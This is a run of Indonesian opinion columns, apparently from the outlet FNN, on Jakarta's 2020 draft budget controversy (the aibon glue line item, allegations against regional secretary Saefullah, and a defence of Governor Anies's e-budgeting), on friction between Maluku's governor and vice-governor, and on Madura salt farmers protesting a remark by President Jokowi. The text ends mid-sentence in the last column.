DAERAH

Saefullah Biang Kerok Dibalik Mundurnya Dua Pejabat DKI

Oleh M. Juhariyanto Jakarta, FNN - Cerita lem aibon senilai Rp 82,8 miliar tidaklah berdiri sendiri. Publik hanya tahunya akibat dari viralnya data Kebijakan Umum Anggaran dan Prioritas Plafon Anggaran Sementara (KUA-PPAS) untuk RAPBD DKI Jakarta 2020. Buntutnya dua pejabat teras DKI Jakarta, yaitu Kepala Bappeda Sri Mahendra Satria Irawan dan Kepala Dinas Pariwisata dan Kebudaan Edy Junaedi mengundurkan diri. Media massa kemudian menggoreng informasi lem aibon tersebut. Kedua pejabat teras Pemda DKI lalu dikait-dikaitkan dengan keanehan KUA PPAS RAPBD DKI Jakarta 2020. Karena kedua pejabat tersebut merasa bersalah atas ketidakbecusan penyusunan anggaran di SKPD yang dipimpinnya. Mereka bedua memutuskan untuk mengundurkan Dua bawahan Anies ini memilih mundur dari jabatannya. Hebat dan berkelas keputusan yang dibuat mereka berdua. Kepala Dinas Pariwisata Edy Junaedi, dikabarkan mengundurkan diri karena alokasi angaran Rp 5 miliar untuk menyewa jasa influencer dalam kegiatan promosi pariwisata DKI. Secara kasat mata, dari aspek tanggungjawab jabatan, kekisruhan KUA-PPAS RAPBD DKI Jakarta ini ada pada Sekretaris Daerah (Sekda) Saefullah. Sekda yang diangkat oleh Basuki Tjahaja Purnama itulah biang keroknya. Apalagi dari paparan KUA-PPAS oleh Gubernur Anies Baswedan, yang videonya diunggah di media massa, banyak keganjilan di Dinas Pendidikan, yang juga menjadi tanggungjawab Saefullah selaku Ketua Tim Perancangan Anggaran Daerah (TPAD), Kepala Dinas Pendidikan PLT-nya adalah Saefuloh Hidayat. Tentang mundurnya dua pejabat DKI tersebut, sumber FNN menyatakan, karena adanya tekanan dari Sekda Saefullah. Publik memang sudah sangat faham, bahwa hubungan antara Sekda Saefullah dan Kadisparbud Edy Junaedi memang tidak akur. Pasalnya, Edy Junaedi banyak mengetahui sepak terjang Saieullah di balik kisruh reklamasi teluk Jakarta. Sosok di balik kisruh reklamasi di akhir jabatan Gubernur DKI Djarot Syaiful Hidayat adalah Saefullah yang masih menjabat Sekda. Saifullah masih bercokol, sejak transisi terpilihnya Anies Baswedan-Sandiaga Uno, sampai sekarang. Walau demikian Saefullah sering tidak sejalan dengan Edy Junaedi yang ketika itu Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (PMPTSP). Para pengembang reklamasi melalui orang kuat Indonesia, Luhut Binsar Panjaitan memaksa agar Kadis PMPTSP Edy Junaedi harus mengeluarkan izin terkait pulau reklamasi. Yang sangat dibutuhkan adalah terbitnya Izin Mendirikan Bangunan (IMB) lahan di pulau reklamasi. Namun rupanya Edy Junaedi tidak bergeming untuk mengeluarkan IMB. Edy Junaedi beralasan, masih terlalu banyak persyaratan yang belum terpenuhi untuk keluarnya IMB pulau reklamasi. Kalau dipaksakan untuk keluarkan IMB, dipastikan menyalahi peraturan perundangan yang berlaku. Itu sudah terbukti di pengadilan. Sikap Edy Junaidi yang tidak mau mengeluarkan IMB pulau reklamasi ini diketahui oleh hampir semua anak buahnya di Dinas PMPTSP. Pemaksaan dan tekanan agar Dinas PMPTSP keluakan IMB pulau reklamasi dilakukan dengan berbagai cara. Termasuk juga menyiapkan uang lelah atau sogokan, entah berapa besarnya. Dananya diambil dari berbagai jalur. Bahkan satu di antara pimpinan DPRD DKI Jakarta periode sekarang ikut menyarankan kepada Edy Junaedi untuk mengambil uang sogokan yang disiapkan. Edy Junaedi benar-benar dipaksa mengeluarkan IMB pulau reklamasi. Termasuk menggunakan dana yang telah disediakan dari berbagi unsur. Untuk ongkos lelah staf PMPTSP yang bekerja menyiapkan berkas IMB pulau reklamasi. Sayangnya Edy Junaedi menolak ajakan tersebut. Mereka yang berkepentingan dengan izin pulau reklamasi, rupanya tidak tinggal diam menghadapi sikap Edy Junaedi yang menolak uang sogokan. Akibatnya, uang itu dialihkan kepada jajaran Sekda. Targetnya Sekda dan jajarannya yang menyiapkan berkas-berkas perijinan, sampai surat yang tinggal ditandatangani Gubernur Djarot Syafil Hidayat atau cukup Kepala Dinas PMPTSP Edy Junaedi “Kabarnya teman-teman di jajaran Sekda DKI mendapat uang tidak sedikit untuk mengerjakan atau menyiapkan berkas izin pulau reklamasi. Persyaratan izin pulau reklamasi itu disiapkan dan dikerjakan di Sekda. Bukan oleh di Dinas PMPTSP, ” ujar sumber, ASN DKI Jakarta sebelum pelantikan Anies-Sandi. Setelah semua berkas pulau reklamasi siap, giliran Gubernur DKI Djarot tidak mau ambil risiko. Djarot tidak mau tandatangani ijin pulau reklamasi yang sudah disiapkan jajaran Sekda. Sehingga detik-detik menjelang pelantikan Anies-Sandi, Djarot perlu “melarikan” diri ke Labuan Bajo. Djarot rela tidak hadiri serah terima jabatan Gubernur DKI kepada Anies-Sandi untuk menghindari resiko. Akibatnya, orangnya Opung mencari-cari Edy Junaedi. Mereka mencegat Edy di kantornya. Edy selalu menghindar dari kejaran mereka. Edy “diamankan” oleh seorang penolong di sebuah apartemen di Jakarta. Edy juga dizinkan dinas ke luar negeri, sampai dengan Anies-Sandi dilantik. Tarif Jabatan Saefullah yang diperpanjang jabatannya oleh Anies sebagai Sekda selama lima tahun ke depan, rupanya belom cukup. Saufullah bersama staf Urusan Pemerintahan yang berinisial “R”, ASN Pemda DKI Jakarta mulai ramai diperbincangkan terkait adanya jual beli jabatan. Meski sulit dibuktikan, namun asapnya mulai kelihatan, sehingga Saefullah perlu membantahnya. Sekda DKI ini memastikan tidak ada jual beli jabatan di lingkungan Pemprov DKI Jakarta. Dengan posisi sebagai Sekda, Sefullah otomatis adalah Ketua Badan Pertimbangan Jabatan (Baperjab). Saifullah yang paling bertanggung jawab dalam perombakan pejabat di DKI. "Saya jamin, sama sekali tidak ada permainan uang yang berkaitan dengan mutasi jabatan. Jadi jangan fitnah. Kalau ada bukti, silahkan sebutkan saja. Nanti akan kami kejar," kata Saefullah ditemui di Senayan, Jakarta Pusat, Februari lalu. Sebelumnya, Fraksi Partai Kebangkitan Bangsa (PKB) DPRD DKI Jakarta, Hasbiallah Ilyas menyatakan menerima keluhan soal adanya tarif untuk jabatan Lurah. Bukan itu saja. Tarif ini berlaku untuk jabatan lain dalam perombakan pejabat di lingkungan Pemerintah Provinsi DKI Jakarta. "Info di bawah begitu. Berapa besarnya tariff untuk setiap jabatan belom dikehui. Namun banyak keluhan dari para Lurah soal tarif ini," ujar Hasbiallah Ilyas. Selain tarif untuk jabatan lurah, Hasbiallah juga menyebut ada juga tarif untuk jabatan Camat. Copot Saefullah Keganjilan anggaran hasil review internal oleh Gubernur Anies Baswedan dalam video yang berdurasi satu jam enam menit lebih itu, terjadi pada sejumlah anggaran alat tulis kantor. Rincian yang janggal adalah anggaran bolpoin Rp 635 miliar, tinta printer Rp 407,1 miliar , terdiri dari 116 jenis komponen Sedangkan anggaran kertas jenis F4, A4, folio adalah Rp 213,3 miliar. Dari jumlah itu, yang terbanyak jenis kertas F4 senilai Rp 205 miliar. Selian itu. anggaran untuk buku folio Rp 79,1 miliar. Sementara anggaran untuk pita printer adalah Rp 43,2 miliar Pengadaan balliner menghabiskan anggaran Rp 39,7 miliar, dan kalkulator bakal menyita Rp 31,7 miliar. Pembelian penghapus cair Rp 31,6 miliar, rotring Rp 5,9 miliar, dan film image Rp 5,2 miliar. Pengadaan, Ighlighter atau stabillo Rp 3,7 miliar. Sebut saja rotring, pena gambar yang sekarang sudah jarang digunakan karena ada program komputer drawing. Berbeda dengan Partai Solidaritas Indonesia (PSI) yang memviralkan anggaran influencer di Dinas Pariwisata dan Kebudayaan sebesar Rp 5 milyar. Begitu juga dengan anggaran pembangunan jalur sepeda Rp 73,7 miliar di Dinas Perhubuingan. Ada juga anggaran lem aibon Rp 82,8 miliar, bolpoin Rp 124 miliar dan komputer Rp 121 miliar. Ketiga mata anggaran terakhir yang besar-besar ini berada di Dinas Pendidikan DKI Jakarta, yang Plt-nya adalah Saefuloh Hidayat. Sedangkan, terkait dengan dana influencer, Kadisparbud Edy Junaedi menyatakan, anggaran Rp 5 miliar bukan hanya untuk biaya influencer. "Saya luruskan ya. Anggaran itu bukan satu influencer Rp 1 miliar. Sebab di dalamnya itu ada macam-macam. Ada juga belanja event dan biaya publikasi. Kegiatan tersebut sudah dilakukan bertahun-tahun.. Namun, anggaran itu akhirnya dicoret dari rancangan KUA-PPAS 2020 pada awal Oktober lalu, dan dialihkan untuk anggaran balap mobil listrik Formula E 2020, ujar Edy Junaedi. Lepas dari sistem e-budgeting yang memang perlu diperbaiki. Khusus untuk keganjilan KUA-PPAS seperti di atas, seharusnya yang lebih pantas untuk mengundurkan diri Saefullah dari jabatan Sekda. Karena Sekda yang punya tanggungjawab penuh atas penyusunan KUA-PPAS. Apalagi Saefullah adalah penanggungjawab semua SKPD, termasuk Plt Kepala Dinas Pendidikan yang mata anggarannya banyak sekali keanehan dan keganjilan. Keanehan itu patut diduga kemungkinan punya keterkaitan dengan reklamasi dan jual beli jabatan. Bahkan sangat mungkin juga terkait dengan anggota DPRD dari PSI. Anggota dewan yang memviralkan anggatan lem aibon Rp 82,8 milyar. Sangat kasat mata Saefullah bermain dan merajalela. Bila tidak mundur, sebaiknya Anies mencopotnya. (end) Penulis adalah Wartawan Senior

E-Budgeting DKI Memang Payah

Bekerjalah dengan sungguh dan selalu riang Mas Anies. Senangkanlah orang-orang kecil itu dengan rasa keadilan. Dengan keberpihakan yang nyata dan terukur. Datangkanlah senyuman kepada mereka di sepanjang hari. Sepanjang mereka berada di lorong-lorong, dan di gang-gang. Oleh Dr. Margarito Kamis Jakarta, FNN - Anies Rasyid Baswedan, terkenal sebagai pria yang santun dengan tutur kata. Anies juga lembut, sangat terukur dan ternalar dalam ucapannya. Sanking terukur itu, sampai menurut Pak Zufkifli Hasan, mantan Ketua MPR, Anies adalah gubernur rasa presiden. Entah karena, rasa itu atau bukan. Namun yang terlihat belakangan ini, Anies cukup sering menjadi sasaran kritik hanya untuk hal yang sebenarnya lucu-lucu. Misalnya, kritik atas rencana anggaran lem aibon dan pulpen, yang lucu selucu-lucunya. Tetapi menjadi menarik. Karena laki-laki penyandang gelar PhD ini menyongsong, menerima dan merespon sejauh yang bisa menjadi cirinya. Selalu saja dengan perspektif yang khas. Kalimatnya, yang tertata penuh nalar dan emosinya yang terjaga. Dalam isu “lem aibon” yang tak masuk akal itu, Anies pria yang berperhitungan jauh. Dia begitu detail dalam meresponsnya. Begitulah cara dia. Salah Memahami Aanggaran Pendapatan dan Belanja Daerah (APBD) DKI Jakarta untuk tahun anggaran 2020, belum ditetapkan oleh DPRD dan Pemerintah Provinsi DKI Jakarta. Perda DKI tentang APBD untuk tahun 2020, sampai hari ini, juga belum ada. Itu jelas, dan bukan mengada-ada. Kebijakan Umum Anggaran dan Prioritas Plafon Anggaran Sementara (KUA-PPAS), bukanlah anggaran. Bila KUA-PPAS mau dilihat dari sudut pandang hukum. Rencana Kerja Anggaran Satuan Kerja Perangkat Daerah (RKA-SKPD) dan Dokumen Pelaksanaan Anggara (DPA) SKPD juga pasti belum ada. Tidak ada satupun ketentuan dalam UU Nomor 23 Tahun 2014 Tentang Pemerintahan Daerah, UU Nomor 17 Tahun 2003 Tentang Keuangan Negara, Peraturan Pemerintah Nomor 58 Tahun 2005 Tentang Pengelolaan Keuangan Daerah, Peraturan Menteri Dalam Negeri Nomor 13 Tahun 2006 Tentang Pedoman Pengelolaan Keuangan Daerah yang telah beberapa kali diubah, terakhir dengan Peraturan Menteri Dalam Negeri Nomor 21 Tahun 2011, yang mengategorikan KUA-PPAS sebagai anggaran. Itu sebabnya, dilihat dari sudut pandang hukum keuangan negara, kebijakan rencana anggaran yang dituangkan dalam KUA-PPAS, sekali lagi, tidak memiliki sifat dan kapasitas hukum sebagai anggaran. Itu sangat jelas dan pasti. Tidak butuh penafsiran yang macam-macam. KUA-PPAS yang telah dibahas dan disepakati bersama Pemrov dengan DPRD, dituangkan dalam Nota kesepakatan berasama Pemrov dan DPRD. Nota ini harus ditandatangani pada waktu yang bersamaan. Nota inilah yang menjadi dasar bagi Pemprov dalam penyusunan RKA-SKPD. Setelah KUA-PPAS ditandatangani, Sekertaris Daerah sebagai Ketua TIM Anggaran Pemerintah Daerah (TAPD) menyiapkan rancangan Surat Edaran tentang Pedoman penyusunan RKA-SKPD. Isinya mencakup prioritas pembangunan daerah dan program atau kegiatan. Misalnya, RKA-SKPD mengenai alokasi plafon anggaran sementara untuk setiap program atau kegiatan. Selain itu, analisis mengenai standar belanja dan standar satuan harga barang yang akan dipergunakan. Berbekal itulah kepala SKPD menyusun RKA-SKPD. Sudah jadikah APBD tersebut? Tidak juga. RKA-SKPD itu harus disampaikan lagi ke Pejabat Pengelola Keuangan Daerah (PPKD) untuk diteliti. Setelah diteliti, barulah disetujui oleh TAPD. Bila RKA itu telah sesuai dengan KUA-PPAS, prakiraan maju pada RKA-SKPD tahun berjalan. Disiapkan juga dokumen perencanaan lainnya, termasuk rencana anggaran dengan standar analisis biaya, standar satuan harga. Juga kelengkapan kinerja, proyeksi prakiraan dan sinkronisasi program dan kegiatan antar RKA-SKPD. Semua itu dijadikan lampiran rancangan Peraturan Daerah mengenai APBD dan dibahas bersama-sama dengan DPRD. Setelah semuanya beres, barulah Rancangan Peraturan APBD disampaikan kepada DPRD. Untuk selanjutnya dibahas bersama. Kemudian disetujui bersama, dan ditetapkan bersama menjadi Peraturan Daerah DKI Jakarta tentang APBD tahun 2020. Apakah dengan selesainya Peraturan Daerah tentang APBD DKI tahun 2020, dari aspek hukum, SKPD telah dapat melaksanakan APBD tersebut? Ternyata belum bisa juga. Sebab masih harus diserahkan dulu kepada Kementerian Dalam Negeri untuk diteliti. Taruhlah Kementerian Dalam Negeri menyetujui APBD yang telah diperdakan itu. Apakah demi hukum APBD serta-merta dapat dilaksanakan? Lagi-lagi belom bisa juga. Sebab Kepala SKPD masih harus menyiapkan Dokumen Pelaksanaan Anggaran (DPA) SKPD. DPA SKPD tersebut harus diteliti lagi oleh PPKD, dengan persetujuan Sekretaris Daerah. Setelah dievalusi oleh TAPD, barulah diterbitkan peraturan Kepala Daerah tentang penjabaran APBD. Setelah selesai tahapan ini, barulah APBD bisa dilaksanakan. Pada tahap ini barulah bicara mengenai anggaran. Misalnya, berapa besar anggaran untuk “lem aibon dan pulpen.” Pada tahap inilah baru angka angggaran menjadi fix. Angka ini mempunyai nilai, kapsitas dan resiko hukum, sehingga sudah dapat dibelanjakan. Sepanjang belum ada dokumen pelaksanaan anggarannya dari SKPD, maka APBD yang telah disahkan itu tidak bisa digunakan sebagai dasar untuk belanja. Begitulah seharusnya membaca, memperlajari dan memahami tata urusan perundang-undangan mengenai penggunaan APBD DKI Jakarta tahun 2020 Perbaiki Sesuai Hukum Begitulah panduan singkat nilai, norma dan standar teknis penyusunan RAPBD. Soalnya apakah “puluhan bahkan, ratusan milyar rupiah untuk belanja lem aibon dan pulpen yang lucu, aneh dan ajaib itu” telah disusun sesuai nilai, norma dan standar di atas? Pasti tidak, atau belum sesuai. Angka-angka besaran nilai anggaran yang tertuang dalam sistem elektronik budgeting itu, pasti bukan angka otoritatif. Pasti juga bukanlah angka yang telah disetujui bersama-sama antara Pemerintah Daerah dengan DPRD DKI Jakarta. Bagaimana mungkin sistem e-budgeting Pemprov DKI bisa menerima angka-angka konyol itu? Apakah sistem ini dirancang untuk hanya menampung materi-materi KUA – PPAS dari Pemprov saja? Apakah sistem ini tidak dirancang untuk memasukan KUA-PPAS yang telah dibahas dan disetujui bersama-sama antara Pemerintah Provinsi dengan DPRD DKI? Apakah e-budgeting juga tidak memasukan RKA-SKPD yang telah dibahas dan disetujui bersama Pemprov DKI dengan DPRD? Apakah e-budgeting juga tidak menampung DPA-SKPD? Bagaimana mungkin sistem itu tidak dapat menunjukan perbedaan angka yang dirancang dan angka yang telah ada pada DPA? Bila begini nyatanya, maka sistem ini betul-betul tak layak. Malapetaka yang sangat fatal. Menariknya, ruang rancangan APBD dengan segala lapisan teknisnya berhimpit, dan bercampur dengan politik. Campurannya, terlepas dari deteilnya, menjadi ruang yang sudut-sudutnya beragam dan menggairahkan. Seperti tabiat bawaannya, gairah akan membawa siapapun kemanapun yang dikehendaki. Acapkali membawanya tergulung dalam gelombang mematikan. Memuluskan jalan kawan menuju puncak politik di satu sisi, dan mematikan lawan disisi lain bisa muncul dalam ruang tarung politik RAPBD, dimanapun. Anies, pernah ramai dirumorkan di detik-detik akhir pendaftaran capres-cawapres kemarin, sebagai cawapres Prabowo. Mungkin Anies masih teridentifikasi sebagai sosok yang berpeluang luas di 2024. Terlalu mahal, tentu saja, untuk disepelekan. Politik memang tidak melulu bertalian dengan citra. Tetapi merusak citra lawan adalah tabiat klasik dalam politik. Menutup semua kesempatan yang memungkinkan pesaing memperoleh, memupuk dan memperbesar citra manis, harus dikerjakan dengan sesistimatis dan seawal mungkin. Itu cukup sering terlihat sebagai hal biasa. Sudahlah Mas Anies. Terimalah semua itu sebagai bagian problematis yang terwariskan dari sistem e-budgeting ini. Perbaikilah semua itu. Adaptasikan, dan sesuaikan dengan prosedur hukum tahapan pembentukan RAPBD sampai menjadi APBD. Pastikan perbaikannya, sehingga sistem ini dapat menunjukan dengan terang-benderan semua informasi, sejak perencanaan anggaran hingga anggaran dalam DPA-SKPD. Bekerjalah dengan sungguh dan selalu riang Mas Anies. Senangkanlah orang-orang kecil itu dengan rasa keadilan. Dengan keberpihakan yang nyata dan terukur. Datangkanlah senyuman kepada mereka di sepanjang hari. Sepanjang mereka berada di lorong-lorong, dan di gang-gang. Mas Anies, datanglah kesana untuk menemui mereka. Sapalah mereka dengan senyumanmu yang khas itu. Bikinlah mereka agar selalu tersenyum, meskipun kehidupan mereka masih pas-pasan, bahkan serba kekurangan. Matahari dan rembulan ada dalam doa mereka. Gapailah doa itu bersama mereka. Mengalirlah terus dengan tatapan yang menyejukan, dan wajah bersih itu. Wajah yang selalu dibasah dan dibasuh dengan air wudhu. Jaga silaturrahimlah yang terus-menerus dengan semua orang. Termasuk dengan lawan sekalipun “bila ada”. Jangan pernah minta simpati. Jangan juga minta dimengerti dan dipahami. Jadilah pemasar kebaikan dan keadilan yang tanpa batas. Biarkan roda kebaikan dan kedashatan doa orang kecil itu berputar memimpin dirimu. Doa yang membawa dan mengemudikan takdirmu. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Menyoal Keharmonisan Gubernur & Wakil Gubernur Maluku

Memanasnya hubungan dua pejabat ini, akan turut memanaskan suasana batin di jajaran birokrat. Pengalaman membuktikan, polarisasi politik akan makin kentara jelang pemilihan periode berikutnya. Karena masing-masing kubu akan berupaya berebut pengaruh. Kalau sudah bergini, lagi-lagi pelayanan publik akan dikorbankan. Oleh M. Ikhsan Tualeka Jakarta, FNN - Wakil Gubernur Maluku Barnabas Orno protes keras. Protes itu terkait nama Wagub Orno yang tidak dalam daftar nama-nama pejabat yang harus disebutkan oleh Gubernur Maluku Murad Ismail dalam sambutan saat peresmian Rumah Sakit Umum Pemerintah (RSUP) dr. J. Leimena yang juga dihadiri oleh Menteri Kesehatan Nila Moeloek, pada tanggal 16 Oktober 2019. Orno merasa tidak dihargai. Karena hal seperti ini sudah sering terjadi. Orno menuding Biro Humas dan Protokoler Pemerintah Provinsi Maluku gagal menjalankan tugas. Akibatnya, dapat menyebabkan keretakan hubungannya dengan Gubernur. Tidak ada nama Wagub di daftar yang harus disebutkan dalam sambutan Gubernur menjadi pertanda ada birokrasi yang tidak beres di protokol dan humas. Mereka bisa saja lelet atau ada persoalan yang lain. Harusnya ditelusuri apa saja penyebabnya Jika benar ada kesalahan di internal, maka mereka harus segera dievaluasi. Namun evaluasinya tidak perlu diungkapkan ke publik. Karena publik akan cenderung membaca situasi ini sebagai sinyal bahwa ada yang kurung beres di internal pemerintahan. Sebenarnya bukan hanya soal penyebutan nama dalam sumbutan Gubernur. Meski baru seumur jagung, Murad dan Orno sudah sering terlihat kurang senyawa. Perbedaan pandangan diantara mereka yang sering mengemuka ke publik. Misalnya, soal legalisasi minuman sopi adalah salah satu adegan yang bisa direkam publik. Masyarakat bisa menganggap kalau mereka bedua kerap berada pada perspektif yang berbeda dalam melihat satu persoalan. Sejumlah rumor lain turut mempertegas dan mengkonfirmasi adanya disharmoni itu. Sebenarnya ini situasi yang tak begitu mengagetkan. Bila dibandingkan dengan melihat trend hubungan relasi kepala daerah di berbagai tempat. Umumnya hubungan Kepala Daerah dan Wakilnya sudah tidak harmonis di awal-awal masa jabatn Berdasarkan dara dari Kementrian Dalam Negeri RI (2015), tercatat sekitar 75 persen pasangan kepala daerah (Bupati dan Wakil Bupati/Wali Kota dan Wakil Wali Kota ataupun Gubernur dan Wakil Gubernur) di Indonesia hubungan kerjanya tidak harmonis. Dampaknya sangat mempengaruhi kinerja pembangunan di daerah tersebut. Bila hubungan kedua kepala daerah harmonis, maka kinerja pemerintahan akan berjalan maksimal. Daerah tentu saja akan semakin maju. Guna mengantisipasi hal seperti ini, sebenarnya pemerintah telah berupaya dengan menyodorkan pilihan pada draf awal UU No 23 Tahun 2014 tentang Pemerintah Daerah. Dalam draf awal Rancangan Undang-Undang (RUU) tersebut, hanya Wali Kota/Bupati dan Gubernur saja yang dipilih dalam pilkada. Sedangkan wakilnya adalah dari kalangan birokrat. Namun tawaran itu kandas, karena ditolak oleh kalangan DPR. Pengalaman di sejumlah daerah membuktikan keharmonisan antara Bupati/Walikota dan Gubernur dengan Wakil Gubernur hanya bertahan antara enam bulan hingga satu tahun pemerintahan. Sesudah itu, mulai muncul konflik. Hubungan diantara mereka menjadi tidak lagi harmonis. Biasanya diakibatkan karena kurangnya komunikasi, konflik kepentingan, dan tidak memahami tugas masing-masing. Namun dari semua itu, masalah paling krusial biasanya karena sejumlah Wakil Bupati/Wakil Walikota ataupun Wakil Gubernur tidak bisa menahan diri. Selain itu tidak menyadari akan tugasnya sebagai seorang wakil. Sebaliknya, seorang Bupati/Walikota ataupun Gubernur tidak memiliki leadership yang baik untuk dapat memobilisasi dan mengakomodir potensi yang dimiliki oleh pasangannya. Berikutnya adalah soal komunikasi yang kurang bagus antara keduanya. Kondisi ini berakibat pada hubungan dintara mereka yang tidak baik pula. Selanjutnya berdampak pada pengambilan kebijakan pembangunan didaerah tersebut. Situasi ini makin diperparah oleh pengaruh orang-orang di lingkaran kekuasaan mereka. Baik itu yang di lingkaran formal, seperti jajaran birokrasi, maupun yang informal seperti bekas tim sukses. Mereka inilah yang menjadi ‘pembisik utama' atau ‘orang dekat’. Situasi seperti kalau dibiarkan, akan menyebabkan pembelahan birokrasi dan masyarakat. Akan muncul kubu-kubuan di tubuh birokrasi. Dalam banyak hal, dampak dari hubungan tidak harmonis ini akan memunculkan perpecahan pada kalangan birokrasi. Karena akan membuat birokrasi bisa terbelah dalam split loyalis. Memanasnya hubungan dua pejabat ini, akan turut memanaskan suasana batin di jajaran birokrat. Pengalaman membuktikan, polarisasi politik akan makin kentara jelang pemilihan periode berikutnya. Karena masing-masing kubu akan berupaya berebut pengaruh. Kalau sudah bergini, lagi-lagi pelayanan publik akan dikorbankan. Mestinya setelah dilantik, pimpinan eksekutif harus duduk bersama. Membuat roadmap bersama. Setelah itu melaksanakan tugas dan kewajibannya secara bersama-sama pula. Sesuai dengan yang dijanjikan dan diamanatkan oleh Undang-Undang. Begitu pula jika ada persoalan antara kepala daerah dengan wakilnya. Seharusnya dapat diselesaikan secara internal. Tidak perlu untuk diumbar ke ruang publik. Ibarat pasangan ‘suami-istri’, bila ada masalah, cukup diselesaikan di kamar atau di atas ranjang. Anak-anak tak perlu sampai mengetahui, apalagi tetangga. Pasangan kepala daerah juga harus memperbanyak sabar dan menahan diri. Kalau tidak sabar, apalagi semua ingin maju dan tampil, tanpa ada koordinasi, bisa runyam. Masing-masing harus bekerja sesuai porsinya. Saling menghargai dan menjaga komunikasi diantara mereka. Kalau komunikasinya intensif, maka hubungan kepala daerah dengan wakilnya akan baik pula. Intinya, keharmonisan hubungan kepala daerah mesti terjaga guna menjamin kinerja pembangunan di daerah dapat berlangsung dengan baik dan lancer. Semuanya untuk mencapai kemaslahatan bagi masyarakat dan kemajuan daerah tersebut. Masyarakat juga mesti lebih proaktif mengontrol pemerintahan. Caranya, dengan kembali melihat janji-janji kampanye pasangan kepala daerah ketika mencalonkan diri. Janji-janji yang belum dilaksanakan, supaya ditagih, agar bisa segera dituntaskan. Masyarakat harus lebih bersuara dan kritis. Tujuannya, agar kedua pemimpin ini dapat memastikan pelayanan publik berjalan optimal. Selain itu, rakyat juga agar dapat menuntaskan janji-janji saat kampanye dulu. Jangan sampai pemimpinnya sudah tidak fokus. Warganya juga kehilangan daya kritis untuk kembali menginmgatkan merera. Tentu akan menjadi alamat buruk bagi daerah. Penulis adalah Direktur IndoEast Institute

Presiden Lupakan Sejarah, Jangan Hina Garam Madura!

Presiden Joko Widodo telah memancing kemarahan petani garam Madura. Setidaknya itulah yang tergambar dalam aksi demonstrasi petani garam di depan DPRD Sumenep pada Jum’at (30/8/2019). Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Massa yang tergabung dalam Himpunan Masyarakat Petambak Garam Sumenep (HMPGS) melakukan aksi karena kecewa dengan pernyataan Presiden Jokowi saat ke Desa Nunkurus, Kupang, NTT pada Rabu, 21 Agustus 2019 lalu. Oleh petani garam, pidato Presiden Jokowi dinilai mendiskreditkan garam Madura. Warga menuntut DPRD Sumenep untuk meminta Pemerintah Pusat meminta maaf pada masyarakat Madura atas pernyataan Presiden Jokowi tersebut. Kala itu, Presiden menyebut garam Madura hitam. Warga menilai, sampel yang diperoleh Jokowi tidak sesuai dengan kualitas asli garam Madura dan meminta Jokowi untuk datang langsung ke Madura dan melihat sendiri kualitasnya. “Kami di sini sudah melakukan produksi garam dari zaman ke zaman. Kami minta cabut pernyataan Presiden Jokowi bahwa garam kami hitam,” kata Andy Ahmadi, Korlap aksi. Pernyataan itu dinilai mendiskriditkan garam Madura. Puluhan massa aksi ini meminta DPRD Sumenep keluar untuk menemui putra petambak garam yang sedang berlangsung menyampaikan aspirasi petambak garam, dan meminta untuk menyatakan sikap yang sama seperti petani garam. Bahwa tidak seperti pernyataan presiden jika garam Madura hitam tak berkualitas. “Tolong temui kami untuk menyatakan sikap dan menyurati Presiden RI bahwa garam kami katanya jelek dan bahkan hitam,” ungkap Andy Ahmadi. “Itu tidak hanya sekali, tetapi kami petambak garam Sumenep Madura telah dihina Presiden RI. Kami telah dilumpuhkan, kami telah dibunuh di negeri sendiri,” teriaknya lantang sambil menuding gedung DPRD Sumenep. Warga menyebut pemerintah pusat telah melupakan sejarah. Petani garam Sumenep itu sudah memproduksi garam, bahkan sebelum Indonesia ada sebagai negara. “Buyut kami sudah jadi petani garam dan kualitas garam kami sudah terbukti,” ungkap Sutri, salah satu peserta aksi. “Garam Madura menjadi penyuplai garam nasional adalah Madura,” teriak Sutri. Ketua DPRD Sumenep Sementara Abdul Hamid Ali Munir berjanji akan menindaklanjuti tuntutan warga tersebut. “Terjadi kesalahpahaman pernyataan yang dilakukan oleh bapak Presiden Jokowi itu bahwa garam Madura dianggap kualitasnya rendah. Saya secara pribadi menyatakan bahwa garam Sumenep itu kualitas ekspor,” tukas Hamid saat menemui massa aksi. Politisi PKB tersebut berjanji akan melakukan komunikasi berbagai pihak terkait pernyataan Jokowi ini. “Koordinasi dengan pemerintah yang ada, mulai dari provinsi hingga pusat,” janji Hamid. Garam Terbaik Sejarah mencatat, Madura pernah menjadi pemasok utama garam ke daerah-daerah yang dikuasai Belanda di seluruh nusantara. Madura ternyata tidak hanya kaya dengan sumber migasnya. Dari laut pula, Madura menjadi penghasil garam bernilai ekonomis tinggi bagi Belanda selama menjajah Nusantara. Seperti halnya Inggris di India, Belanda pernah memonopoli garam di Indonesia. Sangat ironis jika negara yang punya laut luas dan pantai terpanjang di dunia harus membeli garam dari luar negeri. Pada 1930 hal itu pernah terjadi di India. Inggris menjadi pemonopoli garam di India, dan banyak orang India menolaknya. Seperti Inggris yang memonopoli garam di India, Belanda juga melakukannya di Nusantara. Termasuk garam dari pulau garam: Madura. Seperti dicatat dalam beberapa tulisan, riwayat garam di Madura, terkait sosok Pangeran Anggasuta. Dia yang memperkenalkannya kepada orang-orang di Madura. Sebagai penghasil garam, petak-petak tambak pembuatan garam hingga kini masih terlihat di sekitar pantai-pantai Kalianget, Sumenep, Madura bagian tenggara. Pantai selatan Madura yang kering memang dianggap baik untuk produksi garam. Menurut Danys Lombard dalam bukunya Nusa Jawa Silang Budaya: Jaringan Asia (1996), “rupa-rupanya di Madura penghasilan (garam) itu tak terlalu tua”. Jika J. Crawfurd boleh dipercaya, prinsip tambak garam pada masanya itu hanya dikenal di pantai-pantai utara Jawa dan daerah Pangasinan di Pulau Luzon (Filipina). Madura tadinya tidak dianggap penting oleh pemerintah kolonial Belanda. Barulah di paruh kedua abad XIX, terutama setelah Sistem Tanam Paksa dihapus pada 1870, Madura punya nilai ekonomis besar bagi Belanda. Pulau ini, menurut Merie Ricklefs, adalah “pemasok utama garam ke daerah-daerah yang dikuasai Belanda di seluruh nusantara.” Menurut Kuntowijoyo dalam sebuah esainya di buku Radikalisasi Petani: Esei-Esei Sejarah (1993), Belanda tidak membeli garam lewat bupati. Mereka secara langsung mengawasi produksi, berhubungan langsung dengan produsen dan memonopoli pemasaran. Sebab, garam Madura jadi monopoli yang menguntungkan Belanda. Keuntungan yang seharusnya jatuh ke tangan adipati (bupati) dan jajarannya. “Dalam tahun 1852, harga jual garam adalah lebih dari tiga puluh kali harga belinya (dari petani),” lanjut Kuntowijoyo. Di bukunya yang lain, Perubahan Sosial Dalam Masyarakat Agraris Madura, 1850-1940 